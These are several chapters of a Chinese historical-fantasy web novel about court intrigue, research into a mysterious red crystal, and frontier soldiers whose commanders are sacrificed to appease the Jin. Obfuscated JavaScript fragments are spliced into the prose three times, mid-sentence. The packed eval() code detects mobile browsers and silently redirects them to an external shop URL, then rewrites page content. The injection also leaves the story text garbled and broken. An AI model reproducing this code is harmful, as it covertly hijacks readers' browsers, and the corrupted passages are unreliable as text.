李在宥跟在游行狂欢的队伍里面,放声喊叫。扣上面具,他不再需要面对皇宫内院任何一个喜欢的或者讨厌的人,他也可以拥有任何一种情绪,获得某种意义上的绝对自由。 “唔咓——”他凑到赵元贞边上,张开双臂,用红面獠牙的脸怼着她,引来赵元贞一阵笑。 “神经病啊你,饭不吃跑去装鬼!”她看见眼前缺了半颗牙的小鬼,一下就猜到是李在宥。李在宥也没理她,跑跑跳跳地去吓仇家去了。 面具里,只余下方寸天地,声音被放大,又在纸糊的壳子里折进耳朵。李在宥听着自己的粗喘和大笑,有点儿不真切,跟平时自己发出的动静好像不太一样。 他就这么跑着、跳着、叫着,一直冲到喧闹的人堆里去。远处的烟火、近处的花灯、炮仗的硝烟和万千围在官家身边的虚与委蛇在他面前模糊、融化,变成一个个荒芜的光斑。他突然就觉得没意思。 “不玩儿了。” 李在宥站定,揭下的面具随手扔在地上,离开群魔乱舞的人群,到赵元贞边上一屁股坐下。 有点饿,他拿起银箸,看着桌上码得层层叠叠的馎饦、山珍、鱼糕肉糕和酥酪果品,踌躇了一会儿,叼了个不惹眼的汤圆儿放进嘴里。 芝麻磨得细腻,面团和得清甜,强过人间不知道多少倍,可惜就是有点儿凉了。 另一边。 敢战营今天休务,三个单身汉凑在一块儿闷头喝酒。 魏无功孤儿一个,没地儿去;张定钧一个藩将,也不让乱跑;沈仓理论上有老婆,但是前线打着仗,好几年了,他想回也回不去。 魏无功就没喝过这么难受的酒。 张定钧心事重重,三棍子打不出一个屁,沈仓老成持重,平时话也不多,魏无功夹在他俩闷葫芦中间,不知所措,感觉他们仨可以组成一个盼回信联盟了。 狗东西,还不寄信。 岁末朝廷来了旬设,赐了不少好酒好肉到队伍里。魏无功一边愤愤想着,一边扯了条腊鸭腿,拿牙啃得咔崩响。 他一边吃,一边悄悄往沈仓那边挪了一点。张定钧把他盯得心里毛毛的,这人也不知道是什么毛病,喝个酒老打量他。 “我脸上有东西?”他悄悄问沈仓。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176063|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没啊,”沈仓撩起眼皮看他一眼:“就是下巴有点儿油。” 魏无功啧了一声,准备找个东西擦擦嘴。身上的衣服是月头新发的,本来没舍得,想起兜里金丝绣线的手绢,到头来还是用了袖子。 很难说他们三个喝酒是为了什么,可能是因为别的人都在欢天喜地期待新年,所以感觉自己也非得找点儿什么事儿干,强行融入这个氛围。 沈仓和张定钧刚碰完杯,正在小声说话,突然魏无功掏出一张纸,“啪!”一声拍在桌案上: “念念!你们哪个,随便,给念念!” 他说。手指指节在桌上磕出一串儿响。 沈仓很疑惑地抬头,发现魏无功双颊隐隐泛红,眼睛也有点儿直了,知道他原来是喝高了。 他跟张定钧对望一眼,互相都觉得有点好笑,喝大了的魏都头回到了他本来的年纪,比平时开朗。 “我看看啊……”沈仓拿起纸张,感觉自己此刻也有点儿高,眨巴了两下眼睛才聚上焦: “男孩儿就叫魏铁牛……魏富贵儿……魏……魏……这是个啥字儿魏……” “你这酒量也不行嘛,”张定钧嗤一声把他手里的纸抽走了,一看是一串串人名,还分了男女隔开:“男孩儿叫铁牛、富贵、拴柱、麻子……女孩儿就叫妞儿、翠芬……这都什么跟什么……”张定钧有点莫名其妙。 “哦……后头交代了,”他眼睛看到最后一排: “魏大人鉴: 阁下所托,不敢忘怀。苦思数日,择吉名若干。名虽朴拙,然取其坚忍生养之意,甚合边塞风骨。 闻易州岁寒,万望珍重,待再见来时,当与汝浮一大白。 在宥顿首” 林海草原出身的张定钧念到这里,感觉自己没醉也晕,字都认识,连在一起却看不懂了。直到他看见最后一段侧边有一行小字批注: “又及——名是认真起的!贱名好养活!——在宥再顿首。” 边上的沈仓一直笑,喝了酒声音打飘,听着跟鸡打鸣儿似的。张定钧念完摇摇头,把信纸放回桌上,抬眼看魏无功: 魏都头不知道什么时候已经睡着了,皱着眉靠着炕头,手里还攥着半根儿没啃完的鸭腿。 34.更古老的语言 进了屋,赵元贞也戴上面罩,透过玻璃框子看着十几只笼中鸟跟着李在宥的鼓点上下扑腾,心里十分欣慰。 且不论研究有没有成效,就看李在宥这个发癫的样子,就知道是云昭阁真传人没跑了。为了格物致知,可以完全不顾及个人形象。 “喂,没疯的话理我一下!”隔着面罩听不清声音,李在宥没注意到赵元贞的来到,于是赵元贞提高了音调喊他。 “呀,你来啦!”李在宥也隔着罩子大声说:“第二卷在桌子上,还没写完你可以先看!我收拾一下跟你说话!” 赵元贞应了一声好,拿起桌上的纸页,第一句就让她眼睛一亮。 “音韵是比语言更古老的生灵交流方式。” 李在宥没来得及正式成篇,但是透过他零零散散记着的各种想法。能看出来他对于光明血的理解走到了很深的程度,已经不再囿于表面的一些现象。 他记录了第一次去易州夜里见到赤焰军的场景,在鼓点那里画了几个圈。赵元贞耳畔听得他跳大神的鼓点,和他记录的那夜的鼓谱如出一辙。 看来,李在宥是在尝试复刻红色晶盐除了服用带来的异常之外的其他可能特质。不过看结论,有点可惜,鸟雀们确实对某种特定的音律和震动更为敏感,但是做不到赤焰军整齐划一的能力,击鼓之人也不能控制实验品的动作。 再联系到他和小魏一起去大墓里那段回忆,赵元贞掂量着案台盒子里的放的几颗实验用丹,小声喃喃着:“既然红色晶体不被人体所吸收,化成丹药服用的意义在哪里呢?” 烤制吸入也能产生幻觉,听到音律也能够做出反应,到最后疯法也各不一样,这其中却找不到太多联系…… 李在宥熄了火焰,小心收拾了粉末,又敞开窗户透了半天气,拿手在赵元贞眼前晃晃,示意她可以把面罩取下来了。 “子非鱼……”他感叹一句,说:“有点遗憾,除非我自己磕一口,否则应该是很难还原整个作用过程了。” “已经很好了,”赵元贞说。李在宥的研究速度大大超出她的预料,还没到清明,他就已经超出了师父辈们记载的详细程度。 “你先说说,你第一卷里写的‘无声胜有声’,是什么意思?”她问。 “当时马车里听见小豆饼哼歌,无意中起的念头。”李在宥说:“我们听得懂契丹语,觉得她唱得好听,魏无功听不懂,却也能觉得好听。” 赵元贞若有所思点点头。音韵相比语言,虽然传递的信息更为模糊,但同时也更为广泛。 不同的族群,不同的地域,语言也许无法互相理解,但是对于音律,或许能够有类似的反应——听见雷声惊恐、听见泉水叮咚愉悦……诸如此类。 “赤焰军敲鼓的时候我忍不住琢磨,他们到底是为了威慑、调整动作还是唤醒某种集体意识或者情绪。 我觉得,我们离赤焰军中间,可能缺了一个关键的媒介。 我尚不知道张定钧用了什么具体的方法,但是,不知道为什么,那天夜里,听到鼓点,我有一种内心深处的情绪被悄然唤醒的感觉,那种情绪感觉既属于我,却又走了很远,飘渺无极—— “——你说,会不会光明血有着更遥远的过去,它出现的时间和诞生的源头比我们已知得更为古老,启动它力量的方式也更为原始,一直延伸到还没有语言的时代……” 赵元贞安静地听他完,半天没说话。 李在宥小心翼翼地观察了一会儿她的表情,看不出来是高兴还是不高兴。又接着反思了一圈自己的思考论证过程,心里多少有点儿虚。 他一紧张就容易想说话,这时候,赵元贞突然“嘿嘿”一笑,桌子一拍,说:“行了,我答应了!” 李在宥瞪着眼睛看她,反应了两秒才明白过来她是说的魏无功进云昭阁的事儿。 “真哒!”李在宥很是惊喜。虽然他的研究成果没有一个落在地上,但是赵元贞似乎十分满意。 “嗯呐,我向来说话算话。”赵元贞揉了一把他的脑袋:“你黑眼圈都出来了,走,跟我出去走走晒晒太阳,别卯劲过头了。” 李在宥欢欢喜喜锁了门跟她出去。他伸了个懒腰,看阳光打在宫墙,衬得年久失修的斑驳纤毫毕现,更显衰败。这里曾经是他最讨厌的地方,然而那些过去很在意的人和事儿随着时间的推移,已经在记忆里模糊,那些过不去的坎儿也一个个都过去了,甚至有些即使使劲回忆也记不起来。 他看着墙角那棵两人合抱的老树,想起很多年前,他躲在树上哭,赵元贞仰着头对他说:“不高兴就去念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182035|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书吧,心中有了丘壑,天地便宽广了。” 现在想想,幸亏信了。 他看着赵元贞阳光下的背影,脑袋上的金钗流苏摇晃,一闪一闪的,心想当初从这里出去时,还够不着她的腰,现在…… 赵元贞走着走着,突然被人熊一样搂着肩膀蹭,笑他:“多大的人了还撒娇。” “比你小就行了,”李在宥趴在她身上问:“那我们现在该怎么办呢?” 赵元贞反手搓了搓他的脸,说:“比起想办法让张定钧把秘密吐出来,我们还是先把自己的脚捡干净吧。” 李在宥在小房子埋头研究月余,两耳不闻窗外事,还不晓得外面的变化。探子回报,金人已经不打算和枢密院再谈,正规划着两只大军沿东、西两路南进,围夹东京。 庙堂未战先怯,两封折子已经递了上去。面对金人“擅自接纳叛将”的诘问,一个折子写着杀了张定钧,将人头送给金人,争取时间;另一个,写着干脆连沈仓一起杀了,既然是沈仓“私自做主”单边接受降将,那自然要一并处罚,以示诚意。 官家在两个方案中游移不定,征询意见的文书到了云昭阁,赵元贞在选“一”还是选“二”中间,大笔一挥,填了个新方案: “元贞以为,若朝廷径直诛杀张定钧献首,属于自认其过,且军中其他降将亦将人人自危,日后取胜也无后来者敢归降。若并戮沈仓,显得自损股肱,畏敌如虎,气势上亦不可取。 今有一计,或可两全:不如先设计让沈仓杀了张定钧,以其首级暂缓金师。事后,若金人仍然执意来犯,朝廷再以‘专擅招降’和‘擅杀大将’两件罪状并于沈仓一身,将其诛杀,重缓战事。如此,则金人之愤得泄,朝廷之体得全,两全其美,伏乞圣鉴。” 她写完,前前后后检查了几遍,考虑十分周全,情绪也妥帖,顺带把三个月在敢战营和沈仓的交情撇得干干净净,不留把柄。只求老天保佑,她这挖空心思的措辞,能言中官家的心思。 无人的宫墙角,赵元贞和李在宥一番合计。日头西斜,总算是等到了下人回报的好消息,赵元贞的方案通过了。 告别公主出了宫门,李在宥望着天边残阳如血,轻轻叹了口气,提上捉生用的颜料水彩,牵了匹马去郊外的藩军营找梁阿兰去了。 35.李在宥的眼睛 魏无功星夜骑马去邹猎户家中时,看门口槐花落了一地。 距离李在宥回京已经过去快半年,期间杳无音讯。他本人也由一开始的期待,到后面失落,攒到现在,逐渐生出些怨愤。 他原以为,云昭阁就算是不管张定钧,至少是要管沈仓和小豆饼的。没想到他们一个也顾不上。 往事闪过脑海,他的眉头越皱越深: 张定钧死的时候正好是清明,易州下着小雨。自从发现赤焰军都是身体残缺之人之后,镇戍军对这张定钧,总体还是敬服的。沈仓支吾了很久,才把朝廷的意思说全给他听。 魏无功原以为张定钧听到消息会暴怒,没想到他居然很淡定地接受了,还开了个玩笑: “我归宋之心天地可鉴、日月可表,把我的尸体带去蚕姑坨烧了,没准还有舍利呢。” 沈仓和魏无功交换了一个眼神,感觉这句话里大有文章,心下激动不已,想着总算是有光明正大的理由联系云昭阁了。魏无功连夜鼓动沈仓写信,大书特书张定钧留下的谜语,字里行间,小心翼翼暗示希望他们顺便也留意一下沈仓的处境。 没想到,信寄出去,从开春一直到盛夏,愣是没一点儿回头消息。 沈仓盼了几个月的邮差不得,逐渐认了命,一股兔死狐悲之感起来,现在见了魏无功躲着走。老哥为了不殃及他,军中大小军务,几乎不让他沾边。 只是今天,晚饭吃到一半,破例主动走过来跟他讲了句话,吩咐他去把小豆饼接回来。 原来,夏天邹叔没有皮毛生意做,边境的压力也越来越大,思来想去,决定拉上邹婶儿投奔磁州老丈人家里去暂避。他俩倒是想把小豆饼带走,认作干女儿,可是公主交代的事情悬而未决,他们不敢擅自做主,只好联系上军营。 对此,魏无功十分不爽。 想那沈仓真是个老实到死的人。他跟沈仓提了几次,想直接带着尸体去蚕姑坨烧了,奈何沈仓都不理他。都这样了,还守着云昭阁留下的烂摊子,指望有一天赵元贞带着某人来收。现在一个棺材烂在手上,又多了一个丫头子。 张定钧的头已经叫金人使者带走了,装躯壳的漆红的棺材就停在营房里,四角挂着铜铃。因为风俗隔得远,汉人看了那血色的棺材,觉得邪气深重,宁可绕道也不往那间房边上走。没想到,这个地理位置倒是方便了安置小豆饼,省得人多眼杂。 小豆饼胆子很大,对于要住棺材屋,居然没什么意见。魏无功带她住进来的时候,凑到棺材边上去闻了闻,还行,没味儿。就是不知道里面怎么样。 大夏天的,人肉要是烂完了,不知道还烧不烧得出舍利。他突然就想起了李在宥讲的“帝羓”的故事——早知道抹点儿盐了。 魏无功甩甩脑袋,把和云昭阁有关的记忆从脑子里清理出去。大人物的事情,轮得到他操心个屁。 大半夜把睡眼惺忪的小豆饼拎过来,好些细节没顾得上。魏无功本来有点担心小豆饼晚上撒尿被棺材吓到,第二天清晨才后知后觉想起那豆饼和张定钧不对付,依她那个脾气搞不好直接把棺材板儿掀了。 连忙起个大早去看她,结果发现她正靠着棺材念书,没事儿人似的。 “心真大啊……这是随谁呢?”魏无功嘟囔一句。 “方生方死,方死方生,又不是变成鬼了,有什么关系。”小豆饼正在看书,头也不抬地回了一句。 然而,这句魏无功听不懂。很郁闷,文化水平还赶不上八九岁。 他伸手摸了一下棺面,不知道为什么生出些亲近感。张定钧活着的时候跟他讲话有种说不来的别扭,死了反而没什么隔阂,伸手就摸得到。这口棺材是剩下的赤睛魔王们凑钱专门打的,上面有些辽地特有的纹饰,入殓的时候他没有凑过去看,据说是按照他生前的模样用璞玉专门做了一个人脸面具,代替他再也回不来的脑袋。 “诶豆饼,你怎么不生张将军的气了?” 魏无功忍不住问。 “刚开始的时候生气的,离了爹娘谁不生气,”小豆饼说:“后来转头一想,来你们汉家军营里看看,知道怎么个事儿,回去打你们,好像也行。” “……”魏无功无言以对,此时魂穿东郭先生。于是弹了一下她脑袋,结果发现她睡了一觉,辫子有点散了。军营里没有女人,魏无功也不会梳头编辫儿,感觉按这个趋势下去,总有一天下豆饼会变成小叫花子。 “你要不干脆把头发剪了吧。” 他拎起一根辫子说。 小豆饼一甩头,翻了他一个白眼。 魏无功看着她手里那本书,已经被她翻烂了。邹叔家没有别的书,只有邹家小子们小时候几本启蒙的读物,这些对于能说出“孔子见子羽”的小豆饼来说都太低级了,只有一本《千字文》勉强能看。 魏无功看她无聊,一个人在那里翻着眼睛背诵“天地玄黄,宇宙洪荒”解闷儿,叹了口气,觉得多少有点对不起良心。 他掏了掏口袋,感觉这几个月军饷也攒了一些,是时候去团风村地窖里存一趟。回来路过市集,看看有没有什么话本零嘴儿卖,拿来哄哄小孩儿,怪可怜见的。 “你要看些什么书,哥哥去给你找。” 小豆饼抬眼看了他一眼,说:“说得跟你这土匪脑子记得住似的。” “……”魏无功:“小孩儿玩意儿有什么记不住的。” “那我要《中说》、《皇极经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186638|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世书》、《白虎通义》还有《周易参同契》,”小豆饼一挑眉毛:“也不都要,挑你听得明白的吧。” “……什么破小孩儿,”魏无功愣了一下,感觉自己活该问。“找几个不带图片的书得了,”他心里想着,转头大踏步走了。 到了团风村外那棵老树附近,还没动锹,他就暗道不好:这一片有很明显的被人翻过的痕迹。 挖出了入口,他连忙跳下去,窖室果然空空如也,他的宝贝罐子叫人拿走了。 “啊啊啊啊啊啊啊啊啊啊啊啊啊!”魏无功一阵心里咆哮,感觉血液顺着脖子涌了上来。天杀的,居然动到贼祖宗头上来了,三年的老婆本儿啊! 他一边崩溃一边暴怒,在狭小的地洞里转了好几圈,试图冷静下来找到些蛛丝马迹。然而拢共这么点地方,既没有留下脚印,也没有留下特殊器具的挖痕,上哪儿看去呢。 “该死的,”魏无功低头咒骂了一句,胸口起伏着,脑袋有点发蒙。 过了几分钟,魏无功本来都准备算了,结果手摸到土墙边缘,正要翻身上去的时候,脑子里突然灵光一闪。 他重新蹲了回去,用手沿着地面细细摩挲。 终于,在窖子的东南角,他摸到一个圆溜溜的小石子儿,手感光滑,和其他砂砾不一样。 他捡起来,拿到窖子口边上对着光瞧,竟然是一颗小小的羊眼板珠,正是他从大墓里摸出来给李在宥的那个。 “……额日古昆!” 果然是这小子! 魏无功松了口气。 李在宥是“大户人家的小姐”,自然看不上他这些鸡零狗碎,大概率是跟他开玩笑。他无奈摇摇头,把小东西揣进兜里。 不过——留个羊眼板珠子是什么意思呢? 返程的路上,魏无功忍不住一直琢磨: 到底是闲得蛋疼的江洋大盗留下自己的嚣张签名,还是说…… 他李在宥在百忙之中,还留了个眼睛,看着这边的动静? …… 回到营房,他把几个全是字儿的杂书往小豆饼脑袋上一扔,遭到了她强烈的嫌弃。 “滥竽充数!”小豆饼说。不过她向来跟吃的没愁,拿着剩下的糖枣儿蹲角落啃去了。 魏无功跟她玩了一会儿出来,路过沈仓的房间。沈仓自不在内,想来是在议事厅忙,只是具体在忙什么他就不得而知了。 沈仓的房间陈设非常简素,军饷也是直接寄回家里去,自己这里身无长物,只留一封未写完的家书,提了几次笔,依旧没有写成。 四下无人,魏无功想了一会儿,悄无声息走进去,将兜里的羊眼板珠掏出来,轻轻搁在了他的桌子角上。 36.敢战营易主 后面的事情,如同乌飞兔走,转眼叶子金黄。 狼烟升起的时候,李在宥改换了身宣抚使司干办公事的官服,骑在高头大马上,一幅公事公办的样子。他身后跟着公主的车架,人影车影投在外宫墙上,拉得斜长。 一切准备妥当,他回头看了眼赵元贞,说:“走咯!” 马蹄扬起,带着气流卷着地上的银杏叶儿纷飞,宫道两旁负责洒扫庭除的下人们司空见惯了的样子,只是沉默着埋头划拉扫帚。 “大风起兮云飞扬,安得猛士兮守四方,”他兴致不错,忍不住吟诗一首。算着日子,梁阿兰应该已经到易州了,就是不知道有没有被“地头蛇”魏都头为难。 李在宥摸摸兜里“将沈仓槛送京师,交有司议罪”的圣旨,心里踌躇满志。马蹄向北,沿着前几日藩军的脚步,朝着易州星驰而去。 梁阿兰一马当先带着步跋子来到寨堡的时候,沈仓还在带着人在齐知州那里开旬会。只留魏无功一个不愿意出头的扫地僧,蹲在门槛儿上给小豆饼的脑袋掐虱子。 下人汇报藩军来了的时候,魏无功一脸疑惑。地方向来是以文制武,外来的武将上任,不应该先去知州报道吗,怎么直接来了镇戍军大营? 一打听,原来梁阿兰这会儿的头衔变成了【权管勾易州北路同巡检,兼管勾敢战营事】,名字起得唬人,不过原则上还是划在沈仓底下,要先拜过山头,再由沈仓带着去知州府报道更合规矩。 “好家伙,升官儿了啊这是。”魏无功冷哼一声。 “无功哥哥,权管勾是什么东西?”小豆饼坐在门口的台阶上眯起眼睛晒太阳问他。 “就是临时差遣的意思。”魏无功捏死一个虱子,看小白肉虫肚儿里的汁水爆开,感觉十分解压。 “那同巡检又是什么?” “嗯……差不多类似于负责训练、治安、巡防之类的武官的意思。”魏无功又捏爆一个虱子,寻思着跟个辽国来的扬言有一天“要打你们”的小白眼狼实话实说是不是不太好。 “那沈仓叔叔是不是快要死了?”小豆饼问。 “什么?”魏无功停下手里的动作,被她这话吓了一跳:“你这是什么话?” “你想啊,齐知州来了,沈仓叔叔把之前代管的人、钱、粮都交出去了对吧……”小豆饼说,脑袋被魏无功挠得舒服,脚丫子跟着晃了晃。 “嗯……”魏无功好像有点转过弯来了,瞬间感觉到一丝不妙。 “现在又来了个替他分担驻军事务的女将军,那他岂不是没有活儿干了?”小豆饼发出一串啧啧啧的感叹:“我听邹婶儿说,你们汉人家里,没有活儿干的驴子,都是要杀了吃肉的。” “……”魏无功听着小不点儿嘴里说出这么恐怖的话,回过未来,当即起了身。纵然心里一万个不服,行动上不敢怠慢。连忙安排手下的兵,按照制度来迎接这支来意不善的藩军。 山中无老虎,猴子当大王。沈仓不在,议事厅里,魏无功和梁阿兰对坐着,一时无话,只能埋头各自喝茶。茶喝了一盏又一盏,一只喝到魏无功尿急。 他抬头看一眼梁阿兰,想找个理由去茅房,又不怕让对方觉得自己不耐烦。梁阿兰倒是毫无察觉,只是盯着杯子里的茶梗发呆。 那个茶叶也不知道是哪个没有眼力劲儿的新兵蛋子泡的,一碗水,大半碗茶叶,跟绿粥一样。梁阿兰看着叶片摇晃,觉得这几个月简直顺利到不可思议。 汉人朝廷用藩而不信藩,藩军从来都是战时用闲时藏,都不让在一个地方多待。她一个藩军将领,不仅能够二度回到易州,居然能领到正规军的差使,虽然只是临时的,但这样的先例是从来没有的。 终于盼到沈仓回来,魏无功脚底抹油溜了,留他们俩在议事厅寒暄。没想到一泡尿的功夫,镇戍军就改了制。 梁阿兰带来了上面的旨意,镇戍军和敢战营等各兵营名字不变,但是戍营将领换了一圈儿。魏无功也从沈仓的嫡系部队,调到了边军。按照平时,将领走马轮换地方,这也是常规的节制手法,但是有了小豆饼一番话在前头,这时的调动就显得尤为微妙了。 接风的饭吃得味同嚼蜡,魏无功草草吃完回了小豆饼那里,准备把下午剩下的虱子处理完。一进她房间,就看见烛光中那个血红的漆棺,有一种敢战营又重聚首了的感觉。只可惜物是人非,一个躺板板里了,另一个不知道揣的什么心思。 “诶,小豆饼,我问你,”魏无功说:“你有没有想过,你姑姑万一不来接你了,你以后可就跟着我混了。” “啊……”小豆饼看了一眼魏无功:“那我要弃文从武了吗?” “哼哼,你想得美,”魏无功把她一头又油又厚的头发翻来覆去检查了一番,感觉差不多干净了:“你要是落我手上,我就把你卖到大户人家里去当丫鬟换酒喝。” “求求你快把我卖了,让我跟着大户人家吃点儿好的,”小豆饼一脸有恃无恐:“总好过跟着你吃了上顿没下顿。” 魏无功叹了口气,这确实是个问题。隔壁州郡已经打起来了,他们和梁阿兰带的藩兵会师,没几天也要去填边线,那时候豆饼该怎么办呢? 他看了眼豆饼背后的棺材,一个地点在心头浮现。 可是,要托谁把豆饼送去蚕姑坨让他犯了难。自己偷偷送去定是不行了,玄清子性格跟牛一样倔,一准不给他开门。安排军营的大头兵送去,前后原因一交代又多生事端。正愁着,突然有人来敲门。 魏无功听到敲门声,立刻提了刀。这里平时没人来,除了他和沈仓,没人知道里面还住着人。一口棺材在里面,敲什么门呢? 他把刀抱在胸前,给小豆饼打了个“嘘”的手势,站在门框上听外边儿的动静。 外面那人等了一会儿不见人,有点不确定地小声喊了句:“魏都头……在吗?”听声音好像是辇真。 魏无功按着门把手,想了一想:辇真能摸上门,说明是沈仓授意了的。于是他小心打开一条门缝,仍使用身体堵着门。“干什么?”他沉声问。 见魏无功开门了,辇真放下心来,说:“来的路上我去集市上买烟,碰见了你的堂兄弟,托我给你带了封书信。”说完,塞了张小纸片进来。 魏无功一脸疑惑接了过去,寻思着自己哪来什么堂兄弟。辇真看他接了,发挥步跋子的本事,嗖一下沿着墙根儿窜上去,隐匿在了黑暗中。 魏无功借着烛火打开书信,看里面的字沉默了一会儿。汉字他都不认识几个,这回鹘文又是怎么一回事儿?笔画曲里拐弯儿,跟蚯蚓似的。 ……他默默望了眼小豆饼求助,小豆饼嘚瑟地一挑眉毛拿了过去,看完笑了: “姑姑派了个叫阿尔斯兰的商人,接我去过好日子去咯!” 说完,她就着烛火把信纸点燃烧了。 “无功哥哥,信上说让你今夜子时,把我背去你揍过额日古昆的地方,回鹘人在那里等”小豆饼非常开心:“蚕姑坨是哪里,好玩儿吗?” “……好玩儿,”魏无功敷衍了一句。他解决不掉的事情,怎么感觉放在云昭阁也就是洒洒水的事儿。“李在宥也去吗?” “不知道,信上没说,就说了我的事儿,”小豆饼说:“也没提姑姑。” “行吧……”魏无功感觉自己脑子又不转了。云昭阁什么时候偷偷和回鹘人搅和到一起去了?又怎么顶着旧怨安排梁阿兰的人来送信?那沈仓又知道多少东西,这么放心让辇真一个人来? “你先眯会儿吧,我到点了送你走,”魏无功感觉自 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梁阿兰瞬间明白了。沈仓是老江湖,对于以文制武那一套非常娴熟。齐知州同时监督着军队将领的功过考评,虽说战前时间紧急,也不可乱了规矩。军队的粮饷、装备等之生命所系,也皆由地方州府筹集、转运,齐知州同时还捏着驻军的钱袋子。 “阿兰啊,遇到这种情况,以后要这么办,”沈仓在她边上,轻声分析给她听:“贼势未明,百里外的动静我们怎么听来的得先编个说法,否则私自调兵遣将,打胜了还好说,若要失败了,那弹劾就跟雪片似的。” 梁阿兰在沈仓的指导下,学着写申状。把事实、应对和请求等一一陈述清楚,还额外补了一个斥候的姓名和番号。“情报来源,就写‘综合前沿诸路探报及归降人供述’。莫要写得太细,也莫要写得太虚。”沈仓说:“给知州留个可查的由头,也给我们自己留个转圜的余地。” “你先着书记官录白一份,再带上文书去汇报知州,战线一长,事事都要留下记录,”沈仓说:“另外,藩汉刚刚合军,上报的时候,最好是带一个你帐中识文断字的书记官,再加一个原来我营里腿脚最快的传令兵,要在知州那里显出文武并举、藩汉和睦,不是擅自起兵……” 梁阿兰虽然聪慧,到底还是年轻。沈仓担心自己命不久矣,此时借着机会,将自己那些一仗一仗打出来的经验倾囊相授。 梁阿兰也很快意识到他是在特意培养自己,心里十分感动,问他:“你不记恨我在朝中说镇戍军的坏话吗?” 沈仓笑笑说:“朝廷派你来的意思我明白,但是我细想了一圈,确实没有人比你更合适。” 沈仓说的分析和当时梁阿兰在宫里听的如出一辙: 他沈仓是朝廷随时要抛出去的一枚棋子,早晚是要死的,但是易州这么大一块地方不可能没有人管,得先派个将来递补的合适人选按插进去。 梁阿兰在敢战营的时候和镇戍军关系不错,深得藩汉两边儿的信任,又和后来加入的赤焰军打过交道,镇得住场子。最重要的是,她本人虽是藩军,但是和辽、金、夏三路都有旧怨,在朝廷中又没有党羽,派她来接管用着也放心。 她当时被一位受命监军的閤门祗候举荐,有质疑声说朝廷没有藩将戍边的先例,此时,朝中一个她素未谋面却颇有威名的将军替人说了句:“此正值用人之际,官家应该不拘蕃汉”,拍板决定了她的命运。 如果后面的路她走得稳,沈仓一死,敢战营就是她的了。从此一跃成为正规军,再也不用被身份掣肘了。天高海阔,总有出头的日子。 “沈将军,你不计前嫌栽培,阿兰将恩情记下了,日后一定偿还。”梁阿兰抚肩颔首,郑重地说。 “用阿兰你自己的话,咱们是分肝的兄弟姐妹,”沈仓拱手回礼:“将来兄弟们就托你照顾了。” 37.退而结网 魏无功背着辇真,从人坑里爬出来的时候,望着天边赭红色的烟尘,感觉地面都在震。 “你还行吧,”魏无功问。 “还行,”辇真说:“他们人是真他妈多啊。” 辇真身上有血,腊月的天气里,魏无功先是感觉背上一热,很快又感觉那血水结了冰,黏在外衣上。 他们刚打完一场惨烈的攻城战。攀墙强攻,死伤向来十之六七,上头的宣抚使是宫里下派的宦官,贪功冒进,又不懂兵法,拿步跋子当人梯用。魏无功压着火,冲去人堆里把辇真捞了出来。 辇真还算是有功夫在身上的,都受了重伤,更何况其他登城楼的小兵。俗话说“重金之下,必有莽夫”,那些新兵蛋子没见过这么高的赏银,一时脑热冲上去,活生生将地面染红三寸有余,人走在泥泞上,鞋子上挤出来的全是黑红的血水。 魏无功和斥候合力把辇真小心扶上马,问他:“敢战营那边有消息吗?” 斥候摇摇头:“没人出得来,信也就……” 魏无功拿手指搓搓太阳穴,感觉心烦意乱。 沈仓和梁阿兰被安排带兵去支援太原,结果进城后被金人的军队铁桶般围了一个多月,在粮食耗尽之前如果不能突围,就要活活被困死在里面。 “先回吧,”魏无功深吸一口气,翻身上马,带着剩下的人撤回前线中军营。 刚到大营门口,远远就望见南边一小股烟尘。 “敢战营回来叻——!”有人高喊。 魏无功心情一振,抬头远眺,在烟雾中隐约见得镇戍军和敢战营的军旗,连忙一转缰绳,策马往前赶。 隔近了一些,能望见最前面骑马的军官的了,魏无功的胸腔开始咚咚地跳。他眯着眼睛扫过去,能看到梁阿兰和她的黑水马,却迟迟没有见到沈仓。 辕门外,一众留守的军官、文吏、其他部队的士卒都在观望。随着视野逐渐清晰,魏无功的心也越来越沉。 梁阿兰在门外下马,解下佩刀往边上一扔,匆匆向守门军校展示了兵符,旋即高声报:“易州权管勾梁阿兰,自太原突围,率所部归营,请见都总管呈报军情!” 马步军都总管得了消息,小步亲自跑出来迎接这支失联已久的队伍。梁阿兰刚进门,见了他纳头便跪:“沈将军身先士卒、遭火器轰击,人没了……” 魏无功没有指令不敢凑近,远远看着梁阿兰被都总管扶起,让人从后面抬出一卷草席,大概也明白了草席里装着是谁,瞬间大脑一片空白。 后面的事情他意识恍惚,有点记不太清细节。只记得有人喊他过去辨认尸体,他凑过去看了,胸口连着脖颈被炸得稀碎,只留上半截儿脑袋,明明白白看得出是是沈仓。 